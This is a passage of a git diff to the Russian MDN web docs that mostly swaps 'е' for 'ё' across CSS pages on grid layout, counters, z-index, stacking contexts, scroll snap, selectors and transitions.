используете CSS Grid Layout, Вы создаёте структуру и затем размещаете элементы именно в этой структуре или же позволяете правилам авто-размещения разместить элементы в грид-ячейках в соответствии с жёстко заданной сеткой. Конечно, существует возможность создавать треки, подстраивающиеся под размер контента, но при этом они также меняют саму структуру.</p> <p>Поэтому, если Вы используете flexbox и вдруг обнаруживаете, что ограничиваете эластичность элементов, возможно, Вам нужно посмотреть в сторону CSS Grid Layout. Например, в том случае, если Вы процентами подгоняете ширину flex-элемента, чтобы выровнять его по элементам в строке сверху. В такой ситуации гриды кажутся более оптимальным выбором. </p> @@ -130,7 +130,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <p>Дальше в нашем руководстве мы подробно рассмотрим выравнивание блоков Box Alignment и то, как оно работает в Grid Layout, а здесь давайте рассмотрим два простых примера, и сравним flexbox и гриды.</p> -<p>В первом примере, использующем flexbox, у нас есть контейнер с тремя элементами. Для блока-обертки wrapper установлено свойство {{cssxref("min-height")}}, и оно задает высоту flex-контейнера. Мы установили свойство {{cssxref("align-items")}} flex-контейнера в значение <code>flex-end</code> , поэтому элементы выравниваются по концу flex-контейнера. Мы также установили значение свойства {{cssxref("align-self")}} для <code>box1</code> таким образом, что оно перезапишет поведение по умолчанию и заставит наш блок растянутся на всю высоту контейнера. Для <code>box2</code> свойство {{cssxref("align-self")}} установлено таким образом, что блок перепрыгнет в начало flex-контейнера.</p> +<p>В первом примере, использующем flexbox, у нас есть контейнер с тремя элементами. Для блока-обёртки wrapper установлено свойство {{cssxref("min-height")}}, и оно задаёт высоту flex-контейнера. Мы установили свойство {{cssxref("align-items")}} flex-контейнера в значение <code>flex-end</code> , поэтому элементы выравниваются по концу flex-контейнера. Мы также установили значение свойства {{cssxref("align-self")}} для <code>box1</code> таким образом, что оно перезапишет поведение по умолчанию и заставит наш блок растянутся на всю высоту контейнера. Для <code>box2</code> свойство {{cssxref("align-self")}} установлено таким образом, что блок перепрыгнет в начало flex-контейнера.</p> <div class="hidden"> <pre class="brush: css notranslate">* {box-sizing: border-box;} @@ -175,7 +175,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <h3 id="Тем_временем_в_параллельной_вселенной_выравнивание_в_CSS_Гридах">Тем временем в параллельной вселенной: выравнивание в CSS Гридах</h3> -<p>Второй пример использует грид, чтобы создать тот же самый макет, и на этот раз мы рассмотрим то, как свойства выравнивания блоков применяются к гридам. Вместо <code>flex-start</code> и <code>flex-end</code> мы задаем <code>start</code> и <code>end</code> . В случае с макетом на гридах мы выравниваем элементы внутри их грид-области, в данном примере - это одна единственная грид-ячейка, но в целом грид-область может состоять из нескольких грид-ячеек.</p> +<p>Второй пример использует грид, чтобы создать тот же самый макет, и на этот раз мы рассмотрим то, как свойства выравнивания блоков применяются к гридам. Вместо <code>flex-start</code> и <code>flex-end</code> мы задаём <code>start</code> и <code>end</code> . В случае с макетом на гридах мы выравниваем элементы внутри их грид-области, в данном примере - это одна единственная грид-ячейка, но в целом грид-область может состоять из нескольких грид-ячеек.</p> <div class="hidden"> <pre class="brush: css notranslate">* {box-sizing: border-box;} @@ -228,9 +228,9 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <h4 id="Автозаполнение_грид-треков">Автозаполнение грид-треков</h4> -<p>Можно создать эффект, похожий на поведение flexbox, и при этом по-прежнему держать контент в жесткой сетке из строк и колонок, если задать структуру треков, используя repeat-нотацию и свойства <code>auto-fill</code> и <code>auto-fit</code>.</p> +<p>Можно создать эффект, похожий на поведение flexbox, и при этом по-прежнему держать контент в жёсткой сетке из строк и колонок, если задать структуру треков, используя repeat-нотацию и свойства <code>auto-fill</code> и <code>auto-fit</code>.</p> -<p>В примере ниже мы используем ключевое слово <code>auto-fill</code> вместо целого числа в repeat-нотации и задаем структуру треков размером в 200 пикселей. Это значит, что грид создаст столько треков-колонок размером в 200 пикселей, сколько их может разместиться в контейнере.</p> +<p>В примере ниже мы используем ключевое слово <code>auto-fill</code> вместо целого числа в repeat-нотации и задаём структуру треков размером в 200 пикселей. Это значит, что грид создаст столько треков-колонок размером в 200 пикселей, сколько их может разместиться в контейнере.</p> <div class="hidden"> <pre class="brush: css notranslate">* {box-sizing: border-box;} @@ -268,7 +268,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <h3 id="Переменное_количество_треков">Переменное количество треков</h3> -<p>Давайте вспомним пример с flexbox, когда элементы, размер которых больше 200 пикселей, переходят на новую строку. Тот же самый эффект в гридах мы можем получить комбинируя <code>auto-fill</code> и функцию {{cssxref("minmax", "minmax()")}}. В примере ниже мы создаем автозаполненные треки с помощью <code>minmax</code>. Мы хотим, чтобы треки были как минимум 200 пикселей в ширину, это наше минимальное значение, а для максимального зададим <code>1fr</code>. В процессе, когда браузер вычисляет, сколько блоков в 200 пикселей может разместиться в контейнере - при этом учитывая грид-зазоры - он расценивает максимум <code>1fr</code> как инструкцию распределить оставшееся свободное пространство между этими блоками.</p> +<p>Давайте вспомним пример с flexbox, когда элементы, размер которых больше 200 пикселей, переходят на новую строку. Тот же самый эффект в гридах мы можем получить комбинируя <code>auto-fill</code> и функцию {{cssxref("minmax", "minmax()")}}. В примере ниже мы создаём автозаполненные треки с помощью <code>minmax</code>. Мы хотим, чтобы треки были как минимум 200 пикселей в ширину, это наше минимальное значение, а для максимального зададим <code>1fr</code>. В процессе, когда браузер вычисляет, сколько блоков в 200 пикселей может разместиться в контейнере - при этом учитывая грид-зазоры - он расценивает максимум <code>1fr</code> как инструкцию распределить оставшееся свободное пространство между этими блоками.</p> <div class="hidden"> <pre class="brush: css notranslate">* {box-sizing: border-box;} @@ -304,7 +304,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <p>{{ EmbedLiveSample('A_flexible_number_of_tracks', '500', '170') }}</p> -<p>Собственно, теперь у нас есть возможность создавать гриды с переменным количеством или с переменным размером треков и при этом по-прежнему держать элементы в жесткой сетке из строк и колонок.</p> +<p>Собственно, теперь у нас есть возможность создавать гриды с переменным количеством или с переменным размером треков и при этом по-прежнему держать элементы в жёсткой сетке из строк и колонок.</p> <h2 id="Гриды_и_абсолютно_позиционированные_элементы">Гриды и абсолютно позиционированные элементы</h2> @@ -314,7 +314,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <p>Для того, чтобы превратить грид-контейнер в контейнерный блок Вам нужно добавить ему свойство position со значением relative. Если после этого задать какому-нибудь грид-элементу <code>position:</code> <code>absolute</code> , грид-контейнер станет контейнерным блоком для данного элемента.</p> -<p>В примере ниже у нас есть блок-обертка с четырьмя дочерними элементами. Третий элемент абсолютно позиционирован и одновременно размещен в гриде с помощью привязки к грид-линиям. У грид-контейнера <code>position:</code> <code>relative</code> , поэтому он становится контекстом позиционирования для нашего третьего элемента.</p> +<p>В примере ниже у нас есть блок-обёртка с четырьмя дочерними элементами. Третий элемент абсолютно позиционирован и одновременно размещён в гриде с помощью привязки к грид-линиям. У грид-контейнера <code>position:</code> <code>relative</code> , поэтому он становится контекстом позиционирования для нашего третьего элемента.</p> <div class="hidden"> <pre class="brush: css notranslate">* {box-sizing: border-box;} @@ -340,7 +340,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <div class="box2">Two</div> <div class="box3"> Этот блок абсолютно позиционирован. -В нашем примере грид-контейнер является контейнерным блоком, поэтому значения сдвига абсолютного позиционирования отсчитываются от внешнего края той области, в которой размещен элемент. +В нашем примере грид-контейнер является контейнерным блоком, поэтому значения сдвига абсолютного позиционирования отсчитываются от внешнего края той области, в которой размещён элемент. </div> <div class="box4">Four</div> </div> @@ -372,17 +372,17 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <h3 id="Грид-контейнер_в_качестве_родительского_элемента">Грид-контейнер в качестве родительского элемента</h3> -<p>Если у абсолютно позиционированного элемента в качестве родительского контейнера выступает грид, не создающий новый контекст позиционирования, наш элемент также вытаскивается из потока, как и в предыдущем примере. Но в этом случае контекстом позиционирования будет любой элемент, который как раз и создает этот контекст позиционирования. Словом, если в нашем примере мы уберем <code>position:</code> <code>relative</code> из блока-обертки, контекстом позиционирования станет область просмотра, что хорошо видно на рисунке ниже.</p> +<p>Если у абсолютно позиционированного элемента в качестве родительского контейнера выступает грид, не создающий новый контекст позиционирования, наш элемент также вытаскивается из потока, как и в предыдущем примере. Но в этом случае контекстом позиционирования будет любой элемент, который как раз и создаёт этот контекст позиционирования. Словом, если в нашем примере мы уберём <code>position:</code> <code>relative</code> из блока-обёртки, контекстом позиционирования станет область просмотра, что хорошо видно на рисунке ниже.</p> <p><img alt="Image of grid container as parent" src="https://mdn.mozillademos.org/files/14661/2_abspos_example.png" style="height: 408px; width: 1702px;"></p> -<p>Еще раз: наш элемент больше не занимает пространство в грид-макете и не влияет на то, как располагаются другие элементы при авторазмещении.</p> +<p>Ещё раз: наш элемент больше не занимает пространство в грид-макете и не влияет на то, как располагаются другие элементы при авторазмещении.</p> <h3 id="А_что_если_родительский_элемент_-_это_грид-область">А что если родительский элемент - это грид-область?</h3> <p>Если абсолютно позиционированный элемент находится в грид-области, Вы можете создать контекст позиционирования из этой области. В примере ниже у нас тот же грид-макет, что и раньше, но теперь мы разместили элемент внутри <code>.box3</code> .</p> -<p>Задаем <code>.box3</code> свойство position в значении relative и затем перемещаем наш под-элемент с помощью свойств сдвига. В данном случае контекстом позиционирования является грид-область.</p> +<p>Задаём <code>.box3</code> свойство position в значении relative и затем перемещаем наш под-элемент с помощью свойств сдвига. В данном случае контекстом позиционирования является грид-область.</p> <div class="hidden"> <pre class="brush: css notranslate">* {box-sizing: border-box;} @@ -408,7 +408,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <div class="box2">Two</div> <div class="box3">Three <div class="abspos"> - Этот блок абсолютно позиционирован. В данном примере контекстом позиционирования является грид-область, поэтому значения сдвига отсчитываются от внешних краев грид-области. + Этот блок абсолютно позиционирован. В данном примере контекстом позиционирования является грид-область, поэтому значения сдвига отсчитываются от внешних краёв грид-области. </div> </div> <div class="box4">Four</div> @@ -449,7 +449,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout <p>“Сам элемент не генерирует никаких блоков (боксов), но его дочерние элементы и его псевдо-элементы по-прежнему генерируют блоки, в установленном порядке. Относительно генерации и позиционирования блоков элемент должен восприниматься так, как если бы он полностью замещался своими дочерними элементами и псевдо-элементами в дереве документа.”</p> </blockquote> -<p>Если Вы пишете для элемента <code>display:</code> <code>contents</code> , блок (бокс), который он должен создать в дереве документа исчезает, а вот блоки его дочерних элементов и его псевдо-элементов переходят на один уровень вверх. А значит это то, что дочерние элементы грид-элемента могут сами стать грид-элементами. Звучит непонятно? Давайте разберемся на простом примере. В разметке ниже у нас есть грид. Первый элемент этого грида настроен так, чтобы занимать все три трека-колонки. У него есть три вложенных элемента. Поскольку эти вложенные элементы не являются прямыми потомками грида, они не становятся частью грид-макета и отображаются, как обычные блоки.</p> +<p>Если Вы пишете для элемента <code>display:</code> <code>contents</code> , блок (бокс), который он должен создать в дереве документа исчезает, а вот блоки его дочерних элементов и его псевдо-элементов переходят на один уровень вверх. А значит это то, что дочерние элементы грид-элемента могут сами стать грид-элементами. Звучит непонятно? Давайте разберёмся на простом примере. В разметке ниже у нас есть грид. Первый элемент этого грида настроен так, чтобы занимать все три трека-колонки. У него есть три вложенных элемента. Поскольку эти вложенные элементы не являются прямыми потомками грида, они не становятся частью грид-макета и отображаются, как обычные блоки.</p> <div id="Display_Contents_Before"> <div class="hidden"> diff --git a/files/ru/web/css/css_grid_layout/subgrid/index.html b/files/ru/web/css/css_grid_layout/subgrid/index.html index d0d92dae7d..2147cfeeeb 100644 --- a/files/ru/web/css/css_grid_layout/subgrid/index.html +++ b/files/ru/web/css/css_grid_layout/subgrid/index.html @@ -31,7 +31,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Subgrid <p>{{EmbedGHLiveSample("css-examples/grid/subgrid/columns.html", '100%', 1200)}}</p> -<p>Обратите внимание, что внутри subgrid нумерация линий не наследуется от родителя, а начинается по новой – колоночная линия 1 внутри subgrid всегда является его начальной линией. Это значит, что вы можете безопасно добавить компонент, который может быть помещен в разных позициях на главной сетке, зная, что номера линий внутри компонента всегда будут оставаться одинаковыми.</p> +<p>Обратите внимание, что внутри subgrid нумерация линий не наследуется от родителя, а начинается по новой – колоночная линия 1 внутри subgrid всегда является его начальной линией. Это значит, что вы можете безопасно добавить компонент, который может быть помещён в разных позициях на главной сетке, зная, что номера линий внутри компонента всегда будут оставаться одинаковыми.</p> <h2 id="Subgrid_для_строк">Subgrid для строк</h2> diff --git a/files/ru/web/css/css_lists_and_counters/using_css_counters/index.html b/files/ru/web/css/css_lists_and_counters/using_css_counters/index.html index 36bce31553..747e2bfc6c 100644 --- a/files/ru/web/css/css_lists_and_counters/using_css_counters/index.html +++ b/files/ru/web/css/css_lists_and_counters/using_css_counters/index.html @@ -1,33 +1,33 @@ --- -title: CSS счетчики +title: CSS счётчики slug: Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters tags: - CSS - - CSS счетчики - - вложенные счетчики + - CSS счётчики + - вложенные счётчики translation_of: Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters --- <div>{{CSSRef}}</div> -<p>CSS счетчики, в своей сущности, переменные CSS, значения которых могут быть инкрементированы при помощи CSS для отслеживания количества их использования. Они позволяют регулировать внешний вид контента, основываясь на его местоположении в документе. CSS счетчики реализованы в CSS 2.1 (<a href="https://www.w3.org/TR/CSS21/generate.html#counters">ссылка на спецификацию</a>).</p> +<p>CSS счётчики, в своей сущности, переменные CSS, значения которых могут быть инкрементированы при помощи CSS для отслеживания количества их использования. Они позволяют регулировать внешний вид контента, основываясь на его местоположении в документе. CSS счётчики реализованы в CSS 2.1 (<a href="https://www.w3.org/TR/CSS21/generate.html#counters">ссылка на спецификацию</a>).</p> -<p>Значение счетчика сбрасывается (инициализируется) при помощи {{cssxref("counter-reset")}}. </p> +<p>Значение счётчика сбрасывается (инициализируется) при помощи {{cssxref("counter-reset")}}. </p> -<p>{{cssxref("counter-increment")}} может быть отображен на странице, используя функцию <code>counter() или counters() в свойстве </code>{{cssxref("content")}}.</p> +<p>{{cssxref("counter-increment")}} может быть отображён на странице, используя функцию <code>counter() или counters() в свойстве </code>{{cssxref("content")}}.</p> -<h2 id="Использование_счетчиков">Использование счетчиков</h2> +<h2 id="Использование_счётчиков">Использование счётчиков</h2> -<p>Для того, чтобы использовать CSS счетчики, сначала необходимо сбросить их значение (0 по умолчанию). Для того, чтобы отобразить значение счетчика - используйте функцию <code>counter(). Следующий пример прибавляет в начале каждого h3 элемента </code>"Section <<em>значение счетчика</em>>:".</p> +<p>Для того, чтобы использовать CSS счётчики, сначала необходимо сбросить их значение (0 по умолчанию). Для того, чтобы отобразить значение счётчика - используйте функцию <code>counter(). Следующий пример прибавляет в начале каждого h3 элемента </code>"Section <<em>значение счётчика</em>>:".</p> <pre class="brush: css">body { counter-reset: section; /* Устанавливает значение - счетчика, равным 0 */ + счётчика, равным 0 */ } h3::before { - counter-increment: section; /* Инкрементирует счетчик*/ + counter-increment: section; /* Инкрементирует счётчик*/ content: "Секция " counter(section) ": "; /* Отображает текущее - значение счетчика */ + значение счётчика */ } </pre> @@ -37,20 +37,20 @@ h3::before { <h3>Основная часть</h3> <h3>Заключение</h3></pre> -<p>{{EmbedLiveSample("Использование_счетчиков", 200, 150)}}</p> +<p>{{EmbedLiveSample("Использование_счётчиков", 200, 150)}}</p> -<h2 id="Вложенные_счетчики">Вложенные счетчики</h2> +<h2 id="Вложенные_счётчики">Вложенные счётчики</h2> -<p>CSS счетчики могут быть очень полезны для создания нумерованных списков, потому что новая сущность CSS счетчика автоматически создается в дочерних элементах. Используя функцию <code>counters(), можно вставить строку между разными уровнями вложенных счетчиков. Пример:</code></p> +<p>CSS счётчики могут быть очень полезны для создания нумерованных списков, потому что новая сущность CSS счётчика автоматически создаётся в дочерних элементах. Используя функцию <code>counters(), можно вставить строку между разными уровнями вложенных счётчиков. Пример:</code></p> <pre class="brush: css">ol { - counter-reset: section; /*Создает новый счетчик для каждого + counter-reset: section; /*Создаёт новый счётчик для каждого тега <ol>*/ list-style-type: none; } li::before { - counter-increment: section; /*Инкрементируется только счетчик + counter-increment: section; /*Инкрементируется только счётчик текущего уровня вложенности*/ content: counters(section,".") " ";/*Добавляем значения всех уровней вложенности, используя разделитель '.'*/ @@ -92,7 +92,7 @@ li::before { <p>Результат:</p> -<p>{{EmbedLiveSample("Вложенные_счетчики", 250, 350)}}</p> +<p>{{EmbedLiveSample("Вложенные_счётчики", 250, 350)}}</p> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/css/css_positioning/understanding_z_index/adding_z-index/index.html b/files/ru/web/css/css_positioning/understanding_z_index/adding_z-index/index.html index 1fe2ab3f3c..2ca973e2ae 100644 --- a/files/ru/web/css/css_positioning/understanding_z_index/adding_z-index/index.html +++ b/files/ru/web/css/css_positioning/understanding_z_index/adding_z-index/index.html @@ -8,7 +8,7 @@ original_slug: Web/Guide/CSS/Understanding_z_index/Adding_z-index <p>The first part of this article, <a href="/en/CSS/Understanding_z-index/Stacking_without_z-index" title="en/CSS/Understanding_z-index/Stacking_without_z-index">Stacking without the z-index property</a>, explains how stacking is arranged by default. If you want to create a custom stacking order, you can use the {{cssxref("z-index")}} property on a <a href="/en-US/docs/Web/CSS/position#Types_of_positioning">positioned</a> element.</p> -<p>Свойство <code>z-index</code> может иметь значение в целых числах (положительные, ноль, или отрицательные), что представляет собой позицию элемента вдоль оси z. Если вы не знакомы с<strong> </strong>осью<strong> </strong>z, представьте себе страницу как стопку слоев, имеющих собственное порядковое число. Слои представлены в числовом порядке, with larger numbers above smaller numbers.</p> +<p>Свойство <code>z-index</code> может иметь значение в целых числах (положительные, ноль, или отрицательные), что представляет собой позицию элемента вдоль оси z. Если вы не знакомы с<strong> </strong>осью<strong> </strong>z, представьте себе страницу как стопку слоёв, имеющих собственное порядковое число. Слои представлены в числовом порядке, with larger numbers above smaller numbers.</p> <ul> <li>bottom layer<em> (farthest from the observer)</em></li> diff --git a/files/ru/web/css/css_positioning/understanding_z_index/index.html b/files/ru/web/css/css_positioning/understanding_z_index/index.html index d2185a90e3..747b7e6a24 100644 --- a/files/ru/web/css/css_positioning/understanding_z_index/index.html +++ b/files/ru/web/css/css_positioning/understanding_z_index/index.html @@ -16,7 +16,7 @@ original_slug: Web/Guide/CSS/Understanding_z_index <p>Обычно HTML страницы можно считать двухмерными, потому что текст, картинки и другие элементы расположены на странице без перекрытия. Существует единый нормальный поток отрисовки (rendering flow) и элементы избегают пространства, занятого другими.{{cssxref("z-index")}} атрибут позволяет регулировать порядок наложения объектов друг на друга в процессе отрисовки контента (rendering content).</p> <blockquote> -<p><em>В CSS 2.1, позиция каждого блока была в трех измерениях. В дополнении к их горизонтальной и вертикальной позиции блоки лежали вдоль оси "z" и располагались один поверх другого. Позиция относительно оси "z" особенно актуальна, когда блоки визуально накладываются друг на друга. </em></p> +<p><em>В CSS 2.1, позиция каждого блока была в трёх измерениях. В дополнении к их горизонтальной и вертикальной позиции блоки лежали вдоль оси "z" и располагались один поверх другого. Позиция относительно оси "z" особенно актуальна, когда блоки визуально накладываются друг на друга. </em></p> </blockquote> <p>(from <a class="external" href="http://www.w3.org/TR/CSS21/visuren.html#z-index">CSS 2.1 Section 9.9.1 - Layered presentation</a>)</p> diff --git a/files/ru/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html b/files/ru/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html index 5a3ae04036..a440844986 100644 --- a/files/ru/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html +++ b/files/ru/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html @@ -3,7 +3,7 @@ title: Контекст наложения (stacking context) slug: Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context --- -<p>Контекст наложения (stacking context) это концепция трехмерного расположения HTML элементов вдоль оси Z по отношению к пользователю, находящемуся перед экраном. HTML элементы занимают это место по порядку, основанному на атрибутах элемента.</p> +<p>Контекст наложения (stacking context) это концепция трёхмерного расположения HTML элементов вдоль оси Z по отношению к пользователю, находящемуся перед экраном. HTML элементы занимают это место по порядку, основанному на атрибутах элемента.</p> <p>« <a href="/en-US/docs/CSS" title="CSS">CSS</a> « <a href="/en-US/docs/CSS/Understanding_z-index" title="Understanding CSS z-index">Understanding CSS z-index</a></p> @@ -11,7 +11,7 @@ translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_conte <p> </p> -<p>В предыдущем примере <a href="/en-US/docs/CSS/Understanding_z-index/Adding_z-index" title="Adding z-index">Добавляем z-index</a>, порядок отображения определенных DIVs элементов зависел от их z-index значения. Это возникает благодаря тому, что у этих элементов есть специальные свойства, которые заставляют их формировать контекст наполнения ( <em>stacking context )</em>.</p> +<p>В предыдущем примере <a href="/en-US/docs/CSS/Understanding_z-index/Adding_z-index" title="Adding z-index">Добавляем z-index</a>, порядок отображения определённых DIVs элементов зависел от их z-index значения. Это возникает благодаря тому, что у этих элементов есть специальные свойства, которые заставляют их формировать контекст наполнения ( <em>stacking context )</em>.</p> <p>Контекст может формироваться в любом месте документа, любым элементом, у которого выполняется одно из следующих условий: </p> @@ -34,18 +34,18 @@ translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_conte <p>Суммируем:</p> <ul> - <li>Позиционирование и присваивание HTML элементам свойства z-index создает контекст наложения, (так же как и присваивание элементу opacity меньше 1).</li> + <li>Позиционирование и присваивание HTML элементам свойства z-index создаёт контекст наложения, (так же как и присваивание элементу opacity меньше 1).</li> <li>Контексты наложения могут быть частью других контекстов наложения и вместе создавать иерархию контекстов наложения. </li> - <li>Каждый контекст наложения абсолютно независим от своего соседа: только подчиненные элементы учитываются при обработке контекста наложения.</li> + <li>Каждый контекст наложения абсолютно независим от своего соседа: только подчинённые элементы учитываются при обработке контекста наложения.</li> </ul> -<div class="note"><strong>Note:</strong> Иерархия контекстов наложения является подмножеством иерархии HTML элементов, потому что только определенные элементы создают контексты наложения. Можно сказать, что элементы, которые не создают собственного контекста наложения, используют контекст наложения родителя.</div> +<div class="note"><strong>Note:</strong> Иерархия контекстов наложения является подмножеством иерархии HTML элементов, потому что только определённые элементы создают контексты наложения. Можно сказать, что элементы, которые не создают собственного контекста наложения, используют контекст наложения родителя.</div> <h2 id="Пример"><strong>Пример</strong></h2> <p><img alt="Example of stacking rules modified using z-index" src="/@api/deki/files/913/=Understanding_zindex_04.png"></p> -<p>В примере каждый позиционированный элемент создает свой контекст наложения, так как имеет свойства position и z-index. Иерархия контекстов наложения выглядит следующим образом:</p> +<p>В примере каждый позиционированный элемент создаёт свой контекст наложения, так как имеет свойства position и z-index. Иерархия контекстов наложения выглядит следующим образом:</p> <ul> <li>Root diff --git a/files/ru/web/css/css_scroll_snap/basic_concepts/index.html b/files/ru/web/css/css_scroll_snap/basic_concepts/index.html index a6ab4ae735..ceb30aa8ab 100644 --- a/files/ru/web/css/css_scroll_snap/basic_concepts/index.html +++ b/files/ru/web/css/css_scroll_snap/basic_concepts/index.html @@ -21,7 +21,7 @@ translation_of: Web/CSS/CSS_Scroll_Snap/Basic_concepts <p>Также можно передавать ключевые слова <code>mandatory</code>, или <code>proximity</code>. Ключевое слово <code>mandatory</code> определяет обязательное смещение прокрутки браузера к ближайшей точке привязки. Ключевое слово <code>proximity</code> означает, что привязка может произойти , но не обязательно.</p> -<p>Использование <code>mandatory</code> делает взаимодействие с интерфейсом однородным и предсказуемым — вы знаете, что браузер всегда будет смещать область видимости к каждой заданной точке привязки. Это даёт уверенность в том, что в после прокрутки экрана, в его верхней части окажется именно то, что вы и ожидаете там увидеть.Однако, это может привести и к проблемам, если содержимое слишком большое по высоте — пользователи могут оказаться в очень неприятной ситуации, не имея возможности переместиться к определенному месту на странице странице. Следовательно, применение <code>mandatory</code> должно быть тщательно продуманным и использовано только в тех ситуациях, когда вы точно знаете, какое количество содержимого будет на экране в каждый момент времени.</p> +<p>Использование <code>mandatory</code> делает взаимодействие с интерфейсом однородным и предсказуемым — вы знаете, что браузер всегда будет смещать область видимости к каждой заданной точке привязки. Это даёт уверенность в том, что в после прокрутки экрана, в его верхней части окажется именно то, что вы и ожидаете там увидеть.Однако, это может привести и к проблемам, если содержимое слишком большое по высоте — пользователи могут оказаться в очень неприятной ситуации, не имея возможности переместиться к определённому месту на странице странице. Следовательно, применение <code>mandatory</code> должно быть тщательно продуманным и использовано только в тех ситуациях, когда вы точно знаете, какое количество содержимого будет на экране в каждый момент времени.</p> <p>При значении <code>proximity</code> привязка будет осуществляться только в тех ситуациях, когда область видимости находится достаточно близко к точке привязки. Определение точного расстояния, на котором это будет происходить, остаётся за браузером. В примере ниже вы можете изменить значение с <code>mandatory</code> на <code>proximity</code>, чтобы увидеть, как это влияет на работу прокрутки.</p> diff --git a/files/ru/web/css/css_selectors/index.html b/files/ru/web/css/css_selectors/index.html index 039e006a62..90a32e92c9 100644 --- a/files/ru/web/css/css_selectors/index.html +++ b/files/ru/web/css/css_selectors/index.html @@ -18,7 +18,7 @@ original_slug: Web/CSS/CSS_Селекторы <dl> <dt><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Universal_selectors">Универсальный селектор</a></dt> - <dd>Выбирает все элементы. По желанию, он может быть ограничен определенным пространством имен или относиться ко всему пространству имён.<br> + <dd>Выбирает все элементы. По желанию, он может быть ограничен определённым пространством имён или относиться ко всему пространству имён.<br> <strong>Синтаксис:</strong> <code>*</code> <code><var>ns</var>|*</code> <code>*|*</code><br> <strong>Пример:</strong> <code>*</code> будет соответствовать всем элементам на странице.</dd> </dl> @@ -31,11 +31,11 @@ original_slug: Web/CSS/CSS_Селекторы <dt><a href="/en-US/docs/Web/CSS/Class_selectors">Селекторы по классу</a></dt> <dd>Этот базовый селектор выбирает элементы, основываясь на значении их атрибута <code>class</code>.<br> <strong>Синтаксис: </strong> <code>.<em>имяКласса</em></code><br> - <strong>Пример: </strong>селектор<strong> </strong><code>.index</code> выберет все элементы с соответствующим классом (который был определен в атрибуте <code>class="index"</code>).</dd> + <strong>Пример: </strong>селектор<strong> </strong><code>.index</code> выберет все элементы с соответствующим классом (который был определён в атрибуте <code>class="index"</code>).</dd> <dt><a href="/en-US/docs/Web/CSS/ID_selectors">Селекторы по идентификатору</a></dt> <dd>Этот базовый селектор выбирает элементы, основываясь на значении их <code>id</code> атрибута. Не забывайте, что идентификатор должен быть уникальным, т. е. использоваться только для одного элемента в HTML-документе. <br> <strong>Синтаксис: </strong> <code>#имяИдентификатора</code><br> - <strong>Пример: </strong>селектор <code>#toc</code> выберет элемент с идентификатором toc (который был определен в атрибуте <code>id="toc"</code>).</dd> + <strong>Пример: </strong>селектор <code>#toc</code> выберет элемент с идентификатором toc (который был определён в атрибуте <code>id="toc"</code>).</dd> <dt><a href="/en-US/docs/Web/CSS/Attribute_selectors">Селекторы по атрибуту</a></dt> <dd>Этот селектор выбирает все элементы, имеющие данный атрибут или атрибут с определённым значением.<br> <strong>Синтаксис:</strong> <code>[attr] [attr=value] [attr~=value] [attr|=value] [attr^=value] [attr$=value] [attr*=value]</code><br> diff --git a/files/ru/web/css/css_transitions/using_css_transitions/index.html b/files/ru/web/css/css_transitions/using_css_transitions/index.html index 69572dcdd2..883e0dbca5 100644 --- a/files/ru/web/css/css_transitions/using_css_transitions/index.html +++ b/files/ru/web/css/css_transitions/using_css_transitions/index.html @@ -15,7 +15,7 @@ translation_of: Web/CSS/CSS_Transitions/Using_CSS_transitions <h2 id="Какие_CSS_свойства_анимируются">Какие CSS свойства анимируются?</h2> -<p>Разработчик может определить какое свойство и как анимировать. Это позволяет создавать сложные переходы. Так как некоторые свойства не имеет смысла анимировать, перечень<a href="/en-US/docs/CSS/CSS_animated_properties"> доступных для анимирования свойств </a>ограничен определенным набором.</p> +<p>Разработчик может определить какое свойство и как анимировать. Это позволяет создавать сложные переходы. Так как некоторые свойства не имеет смысла анимировать, перечень<a href="/en-US/docs/CSS/CSS_animated_properties"> доступных для анимирования свойств </a>ограничен определённым набором.</p> <div class="note">Замечание: Перечень анимируемых свойств может меняться по мере изменения спецификации.</div> @@ -60,7 +60,7 @@ translation_of: Web/CSS/CSS_Transitions/Using_CSS_transitions <p>CSS переходы контролируются свойством<a href="https://developer.mozilla.org/en-US/docs/CSS/transition"> </a>{{cssxref("transition")}}. Это лучший способ их настроить, позволяет избежать длинных свойств и их несоответствий, которые могут сделать отладку CSS долгой.</p> -<p>Можно контролировать определенные параметры перехода следующими подсвойствами:</p> +<p>Можно контролировать определённые параметры перехода следующими подсвойствами:</p> <p><strong>(Заметьте, что циклы переходов бесконечны только для наших примеров; CSS <code>transition</code>s только анимируют смену свойства. Если вам нужно визуализировать этот цикл, обратите внимание на свойство <a href="/en-US/docs/CSS/animation"><code>animation</code></a>.)</strong></p> @@ -889,7 +889,7 @@ var intervalID = window.setInterval(updateTransition, 7000); <h2 id="Определение_завершения_перехода">Определение завершения перехода</h2> -<p>Есть событие, срабатывающее, когда переход завершен. Во всех браузерах, совместимых со стандартами, есть событие <code>transitionend</code>, в WebKit есть <code>webkitTransitionEnd</code>. Смотрите таблицу поддержки браузерами для дополнительной информации. У <code>transitionend</code> есть 2 свойства:</p> +<p>Есть событие, срабатывающее, когда переход завершён. Во всех браузерах, совместимых со стандартами, есть событие <code>transitionend</code>, в WebKit есть <code>webkitTransitionEnd</code>. Смотрите таблицу поддержки 